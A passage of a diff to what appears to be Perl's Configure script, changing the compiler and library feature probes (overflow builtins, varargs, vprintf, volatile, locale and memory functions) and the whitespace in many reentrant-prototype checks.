&target_int)) { - return 1; - } - return 0; -} -EOCP - set try - if eval $compile && $run ./try; then - echo "Your C compiler supports __builtin_add_overflow." - val="$define" - else - echo "Your C compiler doesn't seem to understand __builtin_add_overflow." - val="$undef" - fi - ;; -*) val="$d_builtin_add_overflow" ;; -esac - -set d_builtin_add_overflow -eval $setvar -$rm_try - -: Look for GCC-style __builtin_sub_overflow -case "$d_builtin_sub_overflow" in -'') - echo " " - echo "Checking whether your compiler can handle __builtin_sub_overflow ..." >&4 - $cat >try.c <<'EOCP' -int main(void) { - const unsigned int uint_max = ~0u; - int target_int = 0; - if (__builtin_sub_overflow(1, -2, &target_int) || target_int != 3) { - return 1; - } - if (!__builtin_sub_overflow(-(int)(uint_max >> 1), 2, &target_int)) { - return 1; - } - if (!__builtin_sub_overflow(uint_max, 1, &target_int)) { - return 1; - } - return 0; -} -EOCP - set try - if eval $compile && $run ./try; then - echo "Your C compiler supports __builtin_sub_overflow." - val="$define" - else - echo "Your C compiler doesn't seem to understand __builtin_sub_overflow." - val="$undef" - fi - ;; -*) val="$d_builtin_sub_overflow" ;; -esac - -set d_builtin_sub_overflow -eval $setvar -$rm_try - -: Look for GCC-style __builtin_mul_overflow -case "$d_builtin_mul_overflow" in -'') - echo " " - echo "Checking whether your compiler can handle __builtin_mul_overflow ..." >&4 - $cat >try.c <<'EOCP' -int main(void) { - const unsigned int uint_max = ~0u; - int target_int = 0; - if (__builtin_mul_overflow(2, 3, &target_int) || target_int != 6) { - return 1; - } - if (!__builtin_mul_overflow((int)(uint_max >> 1), 2, &target_int)) { - return 1; - } - if (!__builtin_mul_overflow(uint_max, 1, &target_int)) { - return 1; - } - return 0; -} -EOCP - set try - if eval $compile && $run ./try; then - echo "Your C compiler supports __builtin_mul_overflow." - val="$define" - else - echo "Your C compiler doesn't seem to understand __builtin_mul_overflow." - val="$undef" - fi - ;; -*) val="$d_builtin_mul_overflow" ;; -esac - -set d_builtin_mul_overflow -eval $setvar -$rm_try - : Look for GCC-style __builtin_choose_expr case "$d_builtin_choose_expr" in '') @@ -11546,9 +11562,124 @@ set d_builtin_expect eval $setvar $rm_try +: see if bzero exists +set bzero d_bzero +eval $inlibc + +: see if stdarg is available +echo " " +if $test `./findhdr stdarg.h`; then + echo " found." >&4 + valstd="$define" +else + echo " NOT found." >&4 + valstd="$undef" +fi + +: see if varargs is available +echo " " +if $test `./findhdr varargs.h`; then + echo " found." >&4 +else + echo " NOT found, but that's ok (I hope)." >&4 +fi + +: set up the varargs testing programs +$cat > varargs.c < +#endif +#ifdef I_VARARGS +#include +#endif + +#ifdef I_STDARG +int f(char *p, ...) +#else +int f(va_alist) +va_dcl +#endif +{ + va_list ap; +#ifndef I_STDARG + char *p; +#endif +#ifdef I_STDARG + va_start(ap,p); +#else + va_start(ap); + p = va_arg(ap, char *); +#endif + va_end(ap); + return 0; +} +EOP +$cat > varargs </dev/null 2>&1; then + echo "true" +else + echo "false" +fi +$rm -f varargs$_o +EOP +chmod +x varargs + +: now check which varargs header should be included +echo " " +i_varhdr='' +val='' +case "$valstd" in +"$define") + if `./varargs I_STDARG`; then + val='stdarg.h' + elif `./varargs I_VARARGS`; then + val='varargs.h' + fi + ;; +*) + if `./varargs I_VARARGS`; then + val='varargs.h' + fi + ;; +esac +case "$val" in +'') + echo " " + echo "*** WHOA THERE!!! ***" >&4 + echo " Your C compiler \"$cc\" doesn't seem to support stdarg or varargs!" >&4 + case "$knowitall" in + '') + echo " I'm giving up; maybe you can try again with a different compiler?" >&4 + exit 1 + ;; + esac +echo "I could not find the definition for va_dcl... You have problems..." >&4 + val="$undef"; set i_stdarg; eval $setvar + val="$undef"; set i_varargs; eval $setvar + ;; +*) + set i_varhdr + eval $setvar + case "$i_varhdr" in + stdarg.h) + val="$define"; set i_stdarg; eval $setvar + val="$undef"; set i_varargs; eval $setvar + ;; + varargs.h) + val="$undef"; set i_stdarg; eval $setvar + val="$define"; set i_varargs; eval $setvar + ;; + esac + echo "We'll include <$i_varhdr> to get va_dcl definition." >&4;; +esac +$rm -f varargs* + : see if the Compiler supports C99 variadic macros -echo "Checking for C99 variadic macros." >&4 -$cat >try.c < and , so checking for C99 variadic macros." >&4 + $cat >try.c < #include @@ -11561,23 +11692,29 @@ int main() { return 0; } EOCP -set try -if eval $compile && $run ./try 2>&1 >/dev/null; then - case "`$run ./try`" in - "123 456 789") - echo "You have C99 variadic macros." >&4 - d_c99_variadic_macros="$define" - ;; - *) - echo "You don't have functional C99 variadic macros." >&4 + set try + if eval $compile && $run ./try 2>&1 >/dev/null; then + case "`$run ./try`" in + "123 456 789") + echo "You have C99 variadic macros." >&4 + d_c99_variadic_macros="$define" + ;; + *) + echo "You don't have functional C99 variadic macros." >&4 + d_c99_variadic_macros="$undef" + ;; + esac + else + echo "I couldn't compile and run the test program, so I assume that you don't have functional C99 variadic macros." >&4 d_c99_variadic_macros="$undef" - ;; - esac -else - echo "I couldn't compile and run the test program, so I assume that you don't have functional C99 variadic macros." >&4 + fi + $rm_try + ;; + *) + echo "You don't have and , so not checking for C99 variadic macros." >&4 d_c99_variadic_macros="$undef" -fi -$rm_try + ;; +esac : see if signal is declared as pointer to function returning int or void echo " " @@ -11790,6 +11927,87 @@ $rm_try set cbrt d_cbrt eval $inlibc +: see if vprintf exists +echo " " +if set vprintf val -f d_vprintf; eval $csym; $val; then + echo 'vprintf() found.' >&4 + val="$define" + $cat >try.c < +#else /* I_VARARGS */ +# include +#endif + +#ifdef I_UNISTD +# include +#endif + +#ifdef I_STDLIB +# include +#endif + +#include /* vsprintf prototype */ + +#ifdef I_STDARG +void xxx(int n, ...) +{ + va_list args; + char buf[10]; + va_start(args, n); + exit((unsigned long)vsprintf(buf,"%s",args) > 10L); +} +int main() { xxx(1, "foo"); } + +#else /* I_VARARGS */ + +xxx(va_alist) +va_dcl +{ + va_list args; + char buf[10]; + va_start(args); + exit((unsigned long)vsprintf(buf,"%s",args) > 10L); +} +int main() { xxx("foo"); } + +#endif + +EOF + set try + if eval $compile_ok; then + if $run ./try; then + echo "Your vsprintf() returns (int)." >&4 + val2="$undef" + else + echo "Your vsprintf() returns (char*)." >&4 + val2="$define" + fi + else + echo 'I am unable to compile the vsprintf() test program.' >&4 + # We shouldn't get here. If we do, assume the standard signature, + # not the old BSD one. + echo 'Guessing that vsprintf() returns (int).' >&4 + val2="$undef" + fi +else + echo 'vprintf() NOT found.' >&4 + val="$undef" + val2="$undef" +fi +$rm_try +set d_vprintf +eval $setvar +val=$val2 +set d_charvspr +eval $setvar + : see if chown exists set chown d_chown eval $inlibc @@ -12051,6 +12269,7 @@ case "$d_cmsghdr_s" in *) echo "No, it doesn't." ;; esac + : check for const keyword echo " " echo 'Checking to see if your C compiler knows about "const"...' >&4 @@ -12147,7 +12366,7 @@ case "$d_crypt_r" in esac case "$crypt_r_proto" in ''|0) d_crypt_r=undef - crypt_r_proto=0 + crypt_r_proto=0 echo "Disabling crypt_r, cannot determine prototype." >&4 ;; * ) case "$crypt_r_proto" in REENTRANT_PROTO*) ;; @@ -12204,7 +12423,7 @@ case "$d_ctermid_r" in esac case "$ctermid_r_proto" in ''|0) d_ctermid_r=undef - ctermid_r_proto=0 + ctermid_r_proto=0 echo "Disabling ctermid_r, cannot determine prototype." >&4 ;; * ) case "$ctermid_r_proto" in REENTRANT_PROTO*) ;; @@ -12257,7 +12476,7 @@ case "$d_ctime_r" in esac case "$ctime_r_proto" in ''|0) d_ctime_r=undef - ctime_r_proto=0 + ctime_r_proto=0 echo "Disabling ctime_r, cannot determine prototype." >&4 ;; * ) case "$ctime_r_proto" in REENTRANT_PROTO*) ;; @@ -12282,6 +12501,37 @@ esac set cuserid d_cuserid eval $inlibc +: see if this is a limits.h system +set limits.h i_limits +eval $inhdr + +: See if number of significant digits in a double precision number is known +echo " " +$cat >dbl_dig.c < +#endif +#ifdef I_FLOAT +#include +#endif +#ifdef DBL_DIG +printf("Contains DBL_DIG"); +#endif +EOM +$cppstdin $cppflags $cppminus < dbl_dig.c >dbl_dig.E 2>/dev/null +if $contains 'DBL_DIG' dbl_dig.E >/dev/null 2>&1; then + echo "DBL_DIG found." >&4 + val="$define" +else + echo "DBL_DIG NOT found." >&4 + val="$undef" +fi +$rm -f dbl_dig.? +set d_dbl_dig +eval $setvar + : see if dbm.h is available : see if dbmclose exists set dbmclose d_dbmclose @@ -12454,10 +12704,14 @@ $cat >dirfd.c < #else #ifdef I_SYS_DIR +#ifdef hp9000s500 +#include /* may be wrong in the future */ +#else #include #endif #endif #endif +#endif int main() { DIR *dirp = opendir("."); if (dirfd(dirp) >= 0) @@ -12625,7 +12879,7 @@ case "$d_drand48_r" in esac case "$drand48_r_proto" in ''|0) d_drand48_r=undef - drand48_r_proto=0 + drand48_r_proto=0 echo "Disabling drand48_r, cannot determine prototype." >&4 ;; * ) case "$drand48_r_proto" in REENTRANT_PROTO*) ;; @@ -12651,36 +12905,8 @@ echo " " set d_drand48proto drand48 $i_stdlib stdlib.h $i_unistd unistd.h eval $hasproto -: see if dup2 exists -set dup2 d_dup2 -eval $inlibc - -: see if dup3 exists -set dup3 d_dup3 -eval $inlibc - -: see if this is an xlocale.h system -set xlocale.h i_xlocale -eval $inhdr - -: see if newlocale exists -set newlocale d_newlocale -eval $inlibc - -: see if freelocale exists -set freelocale d_freelocale -eval $inlibc - -: see if uselocale exists -set uselocale d_uselocale -eval $inlibc - -: see if duplocale exists -set duplocale d_duplocale -eval $inlibc - -: see if querylocale exists -set querylocale d_querylocale +: see if dup2 exists +set dup2 d_dup2 eval $inlibc : see if eaccess exists @@ -12740,7 +12966,7 @@ case "$d_endgrent_r" in esac case "$endgrent_r_proto" in ''|0) d_endgrent_r=undef - endgrent_r_proto=0 + endgrent_r_proto=0 echo "Disabling endgrent_r, cannot determine prototype." >&4 ;; * ) case "$endgrent_r_proto" in REENTRANT_PROTO*) ;; @@ -12793,7 +13019,7 @@ case "$d_endhostent_r" in esac case "$endhostent_r_proto" in ''|0) d_endhostent_r=undef - endhostent_r_proto=0 + endhostent_r_proto=0 echo "Disabling endhostent_r, cannot determine prototype." >&4 ;; * ) case "$endhostent_r_proto" in REENTRANT_PROTO*) ;; @@ -12842,7 +13068,7 @@ case "$d_endnetent_r" in esac case "$endnetent_r_proto" in ''|0) d_endnetent_r=undef - endnetent_r_proto=0 + endnetent_r_proto=0 echo "Disabling endnetent_r, cannot determine prototype." >&4 ;; * ) case "$endnetent_r_proto" in REENTRANT_PROTO*) ;; @@ -12891,7 +13117,7 @@ case "$d_endprotoent_r" in esac case "$endprotoent_r_proto" in ''|0) d_endprotoent_r=undef - endprotoent_r_proto=0 + endprotoent_r_proto=0 echo "Disabling endprotoent_r, cannot determine prototype." >&4 ;; * ) case "$endprotoent_r_proto" in REENTRANT_PROTO*) ;; @@ -13028,7 +13254,7 @@ case "$d_endpwent_r" in esac case "$endpwent_r_proto" in ''|0) d_endpwent_r=undef - endpwent_r_proto=0 + endpwent_r_proto=0 echo "Disabling endpwent_r, cannot determine prototype." >&4 ;; * ) case "$endpwent_r_proto" in REENTRANT_PROTO*) ;; @@ -13077,7 +13303,7 @@ case "$d_endservent_r" in esac case "$endservent_r_proto" in ''|0) d_endservent_r=undef - endservent_r_proto=0 + endservent_r_proto=0 echo "Disabling endservent_r, cannot determine prototype." >&4 ;; * ) case "$endservent_r_proto" in REENTRANT_PROTO*) ;; @@ -13297,7 +13523,12 @@ extern int errno; #ifdef I_UNISTD #include #endif +#$i_string I_STRING +#ifdef I_STRING #include +#else +#include +#endif $signal_t blech(int x) { exit(3); } EOCP $cat >> try.c <<'EOCP' @@ -13663,7 +13894,7 @@ int main() { EOP set try if eval $compile && $to try.c; then - case `$run ./try` in + case `$run ./try` in Pass_changed) echo "Increasing ptr in your stdio decreases cnt by the same amount. Good." >&4 d_stdio_ptr_lval_sets_cnt="$define" ;; @@ -13737,6 +13968,8 @@ esac set d_faststdio eval $setvar + + : see if fchdir exists set fchdir d_fchdir eval $inlibc @@ -13745,22 +13978,6 @@ eval $inlibc set fchmod d_fchmod eval $inlibc -: check for openat, unlinkat, renameat, linkat, fchmodat -set openat d_openat -eval $inlibc - -set unlinkat d_unlinkat -eval $inlibc - -set renameat d_renameat -eval $inlibc - -set linkat d_linkat -eval $inlibc - -set fchmodat d_fchmodat -eval $inlibc - : see if fchown exists set fchown d_fchown eval $inlibc @@ -13962,10 +14179,17 @@ eval $inlibc set fp_class d_fp_class eval $inlibc +: see if this is a math.h system +set math.h i_math +eval $inhdr + : check for fpclassify echo "Checking to see if you have fpclassify..." >&4 $cat >try.c < +#endif int main() { return fpclassify(1.0) == FP_NORMAL ? 0 : 1; } EOCP set try @@ -14030,6 +14254,30 @@ $rm_try set d_fpos64_t eval $setvar +: see if this is an xlocale.h system +set xlocale.h i_xlocale +eval $inhdr + +: see if newlocale exists +set newlocale d_newlocale +eval $inlibc + +: see if freelocale exists +set freelocale d_freelocale +eval $inlibc + +: see if uselocale exists +set uselocale d_uselocale +eval $inlibc + +: see if duplocale exists +set duplocale d_duplocale +eval $inlibc + +: see if querylocale exists +set querylocale d_querylocale +eval $inlibc + : see if frexpl exists set frexpl d_frexpl eval $inlibc @@ -14075,6 +14323,7 @@ eval $inlibc set fstatvfs d_fstatvfs eval $inlibc + : see if fsync exists set fsync d_fsync eval $inlibc @@ -14263,7 +14512,7 @@ case "$d_getgrent_r" in esac case "$getgrent_r_proto" in ''|0) d_getgrent_r=undef - getgrent_r_proto=0 + getgrent_r_proto=0 echo "Disabling getgrent_r, cannot determine prototype." >&4 ;; * ) case "$getgrent_r_proto" in REENTRANT_PROTO*) ;; @@ -14316,7 +14565,7 @@ case "$d_getgrgid_r" in esac case "$getgrgid_r_proto" in ''|0) d_getgrgid_r=undef - getgrgid_r_proto=0 + getgrgid_r_proto=0 echo "Disabling getgrgid_r, cannot determine prototype." >&4 ;; * ) case "$getgrgid_r_proto" in REENTRANT_PROTO*) ;; @@ -14373,7 +14622,7 @@ case "$d_getgrnam_r" in esac case "$getgrnam_r_proto" in ''|0) d_getgrnam_r=undef - getgrnam_r_proto=0 + getgrnam_r_proto=0 echo "Disabling getgrnam_r, cannot determine prototype." >&4 ;; * ) case "$getgrnam_r_proto" in REENTRANT_PROTO*) ;; @@ -14551,7 +14800,7 @@ case "$d_gethostbyaddr_r" in esac case "$gethostbyaddr_r_proto" in ''|0) d_gethostbyaddr_r=undef - gethostbyaddr_r_proto=0 + gethostbyaddr_r_proto=0 echo "Disabling gethostbyaddr_r, cannot determine prototype." >&4 ;; * ) case "$gethostbyaddr_r_proto" in REENTRANT_PROTO*) ;; @@ -14600,7 +14849,7 @@ case "$d_gethostbyname_r" in esac case "$gethostbyname_r_proto" in ''|0) d_gethostbyname_r=undef - gethostbyname_r_proto=0 + gethostbyname_r_proto=0 echo "Disabling gethostbyname_r, cannot determine prototype." >&4 ;; * ) case "$gethostbyname_r_proto" in REENTRANT_PROTO*) ;; @@ -14661,7 +14910,7 @@ case "$d_gethostent_r" in esac case "$gethostent_r_proto" in ''|0) d_gethostent_r=undef - gethostent_r_proto=0 + gethostent_r_proto=0 echo "Disabling gethostent_r, cannot determine prototype." >&4 ;; * ) case "$gethostent_r_proto" in REENTRANT_PROTO*) ;; @@ -14727,7 +14976,7 @@ case "$d_getlogin_r" in esac case "$getlogin_r_proto" in ''|0) d_getlogin_r=undef - getlogin_r_proto=0 + getlogin_r_proto=0 echo "Disabling getlogin_r, cannot determine prototype." >&4 ;; * ) case "$getlogin_r_proto" in REENTRANT_PROTO*) ;; @@ -14820,7 +15069,7 @@ case "$d_getnetbyaddr_r" in esac case "$getnetbyaddr_r_proto" in ''|0) d_getnetbyaddr_r=undef - getnetbyaddr_r_proto=0 + getnetbyaddr_r_proto=0 echo "Disabling getnetbyaddr_r, cannot determine prototype." >&4 ;; * ) case "$getnetbyaddr_r_proto" in REENTRANT_PROTO*) ;; @@ -14873,7 +15122,7 @@ case "$d_getnetbyname_r" in esac case "$getnetbyname_r_proto" in ''|0) d_getnetbyname_r=undef - getnetbyname_r_proto=0 + getnetbyname_r_proto=0 echo "Disabling getnetbyname_r, cannot determine prototype." >&4 ;; * ) case "$getnetbyname_r_proto" in REENTRANT_PROTO*) ;; @@ -14934,7 +15183,7 @@ case "$d_getnetent_r" in esac case "$getnetent_r_proto" in ''|0) d_getnetent_r=undef - getnetent_r_proto=0 + getnetent_r_proto=0 echo "Disabling getnetent_r, cannot determine prototype." >&4 ;; * ) case "$getnetent_r_proto" in REENTRANT_PROTO*) ;; @@ -15022,7 +15271,7 @@ case "$d_getprotobyname_r" in esac case "$getprotobyname_r_proto" in ''|0) d_getprotobyname_r=undef - getprotobyname_r_proto=0 + getprotobyname_r_proto=0 echo "Disabling getprotobyname_r, cannot determine prototype." >&4 ;; * ) case "$getprotobyname_r_proto" in REENTRANT_PROTO*) ;; @@ -15071,7 +15320,7 @@ case "$d_getprotobynumber_r" in esac case "$getprotobynumber_r_proto" in ''|0) d_getprotobynumber_r=undef - getprotobynumber_r_proto=0 + getprotobynumber_r_proto=0 echo "Disabling getprotobynumber_r, cannot determine prototype." >&4 ;; * ) case "$getprotobynumber_r_proto" in REENTRANT_PROTO*) ;; @@ -15124,7 +15373,7 @@ case "$d_getprotoent_r" in esac case "$getprotoent_r_proto" in ''|0) d_getprotoent_r=undef - getprotoent_r_proto=0 + getprotoent_r_proto=0 echo "Disabling getprotoent_r, cannot determine prototype." >&4 ;; * ) case "$getprotoent_r_proto" in REENTRANT_PROTO*) ;; @@ -15198,7 +15447,7 @@ case "$d_getpwent_r" in esac case "$getpwent_r_proto" in ''|0) d_getpwent_r=undef - getpwent_r_proto=0 + getpwent_r_proto=0 echo "Disabling getpwent_r, cannot determine prototype." >&4 ;; * ) case "$getpwent_r_proto" in REENTRANT_PROTO*) ;; @@ -15251,7 +15500,7 @@ case "$d_getpwnam_r" in esac case "$getpwnam_r_proto" in ''|0) d_getpwnam_r=undef - getpwnam_r_proto=0 + getpwnam_r_proto=0 echo "Disabling getpwnam_r, cannot determine prototype." >&4 ;; * ) case "$getpwnam_r_proto" in REENTRANT_PROTO*) ;; @@ -15304,7 +15553,7 @@ case "$d_getpwuid_r" in esac case "$getpwuid_r_proto" in ''|0) d_getpwuid_r=undef - getpwuid_r_proto=0 + getpwuid_r_proto=0 echo "Disabling getpwuid_r, cannot determine prototype." >&4 ;; * ) case "$getpwuid_r_proto" in REENTRANT_PROTO*) ;; @@ -15367,7 +15616,7 @@ case "$d_getservbyname_r" in esac case "$getservbyname_r_proto" in ''|0) d_getservbyname_r=undef - getservbyname_r_proto=0 + getservbyname_r_proto=0 echo "Disabling getservbyname_r, cannot determine prototype." >&4 ;; * ) case "$getservbyname_r_proto" in REENTRANT_PROTO*) ;; @@ -15416,7 +15665,7 @@ case "$d_getservbyport_r" in esac case "$getservbyport_r_proto" in ''|0) d_getservbyport_r=undef - getservbyport_r_proto=0 + getservbyport_r_proto=0 echo "Disabling getservbyport_r, cannot determine prototype." >&4 ;; * ) case "$getservbyport_r_proto" in REENTRANT_PROTO*) ;; @@ -15469,7 +15718,7 @@ case "$d_getservent_r" in esac case "$getservent_r_proto" in ''|0) d_getservent_r=undef - getservent_r_proto=0 + getservent_r_proto=0 echo "Disabling getservent_r, cannot determine prototype." >&4 ;; * ) case "$getservent_r_proto" in REENTRANT_PROTO*) ;; @@ -15527,7 +15776,7 @@ case "$d_getspnam_r" in esac case "$getspnam_r_proto" in ''|0) d_getspnam_r=undef - getspnam_r_proto=0 + getspnam_r_proto=0 echo "Disabling getspnam_r, cannot determine prototype." >&4 ;; * ) case "$getspnam_r_proto" in REENTRANT_PROTO*) ;; @@ -15591,7 +15840,7 @@ case "$d_gmtime_r" in esac case "$gmtime_r_proto" in ''|0) d_gmtime_r=undef - gmtime_r_proto=0 + gmtime_r_proto=0 echo "Disabling gmtime_r, cannot determine prototype." >&4 ;; * ) case "$gmtime_r_proto" in REENTRANT_PROTO*) ;; @@ -15674,6 +15923,39 @@ eval $inlibc set ilogbl d_ilogbl eval $inlibc +: index or strchr +echo " " +if set index val -f; eval $csym; $val; then + if set strchr val -f d_strchr; eval $csym; $val; then + if $contains strchr "$strings" >/dev/null 2>&1 ; then + val="$define" + vali="$undef" + echo "strchr() found." >&4 + else + val="$undef" + vali="$define" + echo "index() found." >&4 + fi + else + val="$undef" + vali="$define" + echo "index() found." >&4 + fi +else + if set strchr val -f d_strchr; eval $csym; $val; then + val="$define" + vali="$undef" + echo "strchr() found." >&4 + else + echo "No index() or strchr() found!" >&4 + val="$undef" + vali="$undef" + fi +fi +set d_strchr; eval $setvar +val="$vali" +set d_index; eval $setvar + : check whether inet_aton exists set inet_aton d_inetaton eval $inlibc @@ -15742,7 +16024,10 @@ $rm -f isblank* : check for isfinite echo "Checking to see if you have isfinite..." >&4 $cat >try.c < +#endif int main() { return isfinite(0.0); } EOCP set try @@ -15764,7 +16049,10 @@ eval $inlibc : check for isinf echo "Checking to see if you have isinf..." >&4 $cat >try.c < +#endif int main() { return isinf(0.0); } EOCP set try @@ -15786,7 +16074,10 @@ eval $inlibc : check for isless echo "Checking to see if you have isless..." >&4 $cat >try.c < +#endif int main() { return isless(0.0); } EOCP set try @@ -15804,7 +16095,10 @@ eval $setvar : check for isnan echo "Checking to see if you have isnan..." >&4 $cat >try.c < +#endif int main() { return isnan(0.0); } EOCP set try @@ -15826,7 +16120,10 @@ eval $inlibc : check for isnormal echo "Checking to see if you have isnormal..." >&4 $cat >try.c < +#endif int main() { return isnormal(0.0); } EOCP set try @@ -15913,8 +16210,14 @@ eval $setvar : See if number of significant digits in a double precision number is known echo " " $cat >ldbl_dig.c < +#endif +#ifdef I_FLOAT #include +#endif #ifdef LDBL_DIG printf("Contains LDBL_DIG"); #endif @@ -15941,9 +16244,11 @@ eval $inlibc : check to see if math.h defines _LIB_VERSION d_libm_lib_version="$undef" -echo " " -echo "Checking to see if your libm supports _LIB_VERSION..." >&4 -$cat >try.c <&4 + $cat >try.c < #include int main (int argc, char *argv[]) @@ -15952,15 +16257,18 @@ int main (int argc, char *argv[]) return (0); } /* main */ EOCP -set try -if eval $compile; then - foo=`$run ./try` - echo "Yes, it does ($foo)" >&4 - d_libm_lib_version="$define" -else - echo "No, it does not (probably harmless)" >&4 - fi -$rm_try + set try + if eval $compile; then + foo=`$run ./try` + echo "Yes, it does ($foo)" >&4 + d_libm_lib_version="$define" + else + echo "No, it does not (probably harmless)" >&4 + fi + $rm_try + ;; + + esac : see if link exists set link d_link @@ -15982,10 +16290,6 @@ eval $inlibc set llroundl d_llroundl eval $inlibc -: see if localeconv_l exists -set localeconv_l d_localeconv_l -eval $inlibc - : see if localtime_r exists set localtime_r d_localtime_r eval $inlibc @@ -16010,7 +16314,7 @@ case "$d_localtime_r" in esac case "$localtime_r_proto" in ''|0) d_localtime_r=undef - localtime_r_proto=0 + localtime_r_proto=0 echo "Disabling localtime_r, cannot determine prototype." >&4 ;; * ) case "$localtime_r_proto" in REENTRANT_PROTO*) ;; @@ -16042,6 +16346,7 @@ REENTRANT_PROTO*) #$i_unistd I_UNISTD #$i_time I_TIME #$i_stdlib I_STDLIB +#$i_string I_STRING #$i_malloc I_MALLOC #ifdef I_SYS_TYPES # include @@ -16055,7 +16360,11 @@ REENTRANT_PROTO*) #ifdef I_STDLIB #include #endif -#include +#ifdef I_STRING +# include +#else +# include +#endif #ifdef I_MALLOC # include #endif @@ -16157,14 +16466,6 @@ eval $inlibc set mblen d_mblen eval $inlibc -: see if mbrlen exists -set mbrlen d_mbrlen -eval $inlibc - -: see if mbrtowc exists -set mbrtowc d_mbrtowc -eval $inlibc - : see if mbstowcs exists set mbstowcs d_mbstowcs eval $inlibc @@ -16173,12 +16474,28 @@ eval $inlibc set mbtowc d_mbtowc eval $inlibc +: see if memchr exists +set memchr d_memchr +eval $inlibc + +: see if memcmp exists +set memcmp d_memcmp +eval $inlibc + +: see if memcpy exists +set memcpy d_memcpy +eval $inlibc + : see if memmem exists set memmem d_memmem eval $inlibc -: see if memrchr exists -set memrchr d_memrchr +: see if memmove exists +set memmove d_memmove +eval $inlibc + +: see if memset exists +set memset d_memset eval $inlibc : see if mkdir exists @@ -16193,10 +16510,6 @@ eval $inlibc set mkfifo d_mkfifo eval $inlibc -: see if mkostemp exists -set mkostemp d_mkostemp -eval $inlibc - : see if mkstemp exists set mkstemp d_mkstemp eval $inlibc @@ -16209,7 +16522,7 @@ eval $inlibc set mktime d_mktime eval $inlibc -: see if sys/mman.h has to be included +: see if this is a sys/mman.h system set sys/mman.h i_sysmman eval $inhdr @@ -16234,6 +16547,8 @@ END ;; esac + + : see if sqrtl exists set sqrtl d_sqrtl eval $inlibc @@ -16252,7 +16567,7 @@ eval $inlibc : see if prototype for modfl is available echo " " -set d_modflproto modfl define math.h +set d_modflproto modfl $i_math math.h eval $hasproto if $test "$uselongdouble" = "$define"; then @@ -16363,6 +16678,7 @@ case "$d_msghdr_s" in *) echo "No, it doesn't." ;; esac + : see if msync exists set msync d_msync eval $inlibc @@ -16375,10 +16691,6 @@ eval $inlibc set nan d_nan eval $inlibc -: see if nanosleep exists -set nanosleep d_nanosleep -eval $inlibc - : see if nearbyint exists set nearbyint d_nearbyint eval $inlibc @@ -16407,6 +16719,37 @@ eval $inlibc set quadmath.h i_quadmath eval $inhdr +: check for volatile keyword +echo " " +echo 'Checking to see if your C compiler knows about "volatile"...' >&4 +$cat >try.c <<'EOCP' +int main() +{ + typedef struct _goo_struct goo_struct; + goo_struct * volatile goo = ((goo_struct *)0); + struct _goo_struct { + long long_int; + int reg_int; + char char_var; + }; + typedef unsigned short foo_t; + char *volatile foo; + volatile int bar; + volatile foo_t blech; + foo = foo; +} +EOCP +if $cc -c $ccflags try.c >/dev/null 2>&1 ; then + val="$define" + echo "Yup, it does." +else + val="$undef" + echo "Nope, it doesn't." +fi +set d_volatile +eval $setvar +$rm_try + : Check basic sizes echo " " $echo "Choosing the C types to be used for Perl's internal types..." >&4 @@ -16600,6 +16943,10 @@ case "$i64type" in esac $echo "Checking how many bits of your UVs your NVs can preserve..." >&4 +: volatile so that the compiler has to store it out to memory. +if test X"$d_volatile" = X"$define"; then + volatile=volatile +fi $cat <try.c #include #$i_stdlib I_STDLIB @@ -16609,8 +16956,7 @@ $cat <try.c #include #include #ifdef SIGFPE -/* volatile so that the compiler has to store it out to memory */ -volatile int bletched = 0; +$volatile int bletched = 0; $signal_t blech(int s) { bletched = 1; } #endif int main() { @@ -16661,6 +17007,10 @@ esac $rm_try $echo "Checking to find the largest integer value your NVs can hold..." >&4 +: volatile so that the compiler has to store it out to memory. +if test X"$d_volatile" = X"$define"; then + volatile=volatile +fi $cat <try.c #include @@ -16672,11 +17022,10 @@ main() { int count = 1; while(count < 256) { - /* volatile so that the compiler has to store it out to memory */ - volatile NV up = value + 1.0; - volatile NV negated = -value; - volatile NV down = negated - 1.0; - volatile NV got_up = up - value; + $volatile NV up = value + 1.0; + $volatile NV negated = -value; + $volatile NV down = negated - 1.0; + $volatile NV got_up = up - value; int up_good = got_up == 1.0; int got_down = down - negated; int down_good = got_down == -1.0; @@ -16741,18 +17090,26 @@ fi $rm_try $echo "Checking whether NV 0.0 is all bits zero in memory..." >&4 +: volatile so that the compiler has to store it out to memory. +if test X"$d_volatile" = X"$define"; then + volatile=volatile +fi $cat <try.c #include #$i_stdlib I_STDLIB #ifdef I_STDLIB #include #endif -#include +#$i_string I_STRING +#ifdef I_STRING +# include +#else +# include +#endif #include #include #ifdef SIGFPE -/* volatile so that the compiler has to store it out to memory */ -volatile int bletched = 0; +$volatile int bletched = 0; $signal_t blech(int s) { bletched = 1; } #endif @@ -16937,10 +17294,6 @@ fi set pause d_pause eval $inlibc -: see if pipe2 exists -set pipe2 d_pipe2 -eval $inlibc - : see if poll exists set poll d_poll eval $inlibc @@ -17208,7 +17561,7 @@ case "$d_random_r" in esac case "$random_r_proto" in ''|0) d_random_r=undef - random_r_proto=0 + random_r_proto=0 echo "Disabling random_r, cannot determine prototype." >&4 ;; * ) case "$random_r_proto" in REENTRANT_PROTO*) ;; @@ -17263,7 +17616,7 @@ case "$d_readdir64_r" in esac case "$readdir64_r_proto" in ''|0) d_readdir64_r=undef - readdir64_r_proto=0 + readdir64_r_proto=0 echo "Disabling readdir64_r, cannot determine prototype." >&4 ;; * ) case "$readdir64_r_proto" in REENTRANT_PROTO*) ;; @@ -17308,7 +17661,7 @@ case "$d_readdir_r" in esac case "$readdir_r_proto" in ''|0) d_readdir_r=undef - readdir_r_proto=0 + readdir_r_proto=0 echo "Disabling readdir_r, cannot determine prototype." >&4 ;; * ) case "$readdir_r_proto" in REENTRANT_PROTO*) ;; @@ -17383,9 +17736,239 @@ eval $inlibc set rmdir d_rmdir eval $inlibc -: see if round exists -set round d_round -eval $inlibc +: see if round exists +set round d_round +eval $inlibc + +: see if memory.h is available. +val='' +set memory.h val +eval $inhdr + +: See if it conflicts with string.h +case "$val" in +$define) + case "$strings" in + '') ;; + *) + $cppstdin $cppflags $cppminus < $strings > mem.h + if $contains 'memcpy' mem.h >/dev/null 2>&1; then + echo " " + echo "We won't be including ." + val="$undef" + fi + $rm -f mem.h + ;; + esac +esac +set i_memory +eval $setvar + +: can bcopy handle overlapping blocks? +echo " " +val="$undef" +case "$d_memmove" in +"$define") echo "I'll use memmove() instead of bcopy() for overlapping copies." ;; +*) case "$d_bcopy" in + "$define") + echo "Checking to see if bcopy() can do overlapping copies..." >&4 + $cat >try.c <>try.c <<'EOCP' +#include +#ifdef I_MEMORY +# include +#endif +#ifdef I_STDLIB +# include +#endif +#ifdef I_STRING +# include +#else +# include +#endif +#ifdef I_UNISTD +# include /* Needed for NetBSD */ +#endif 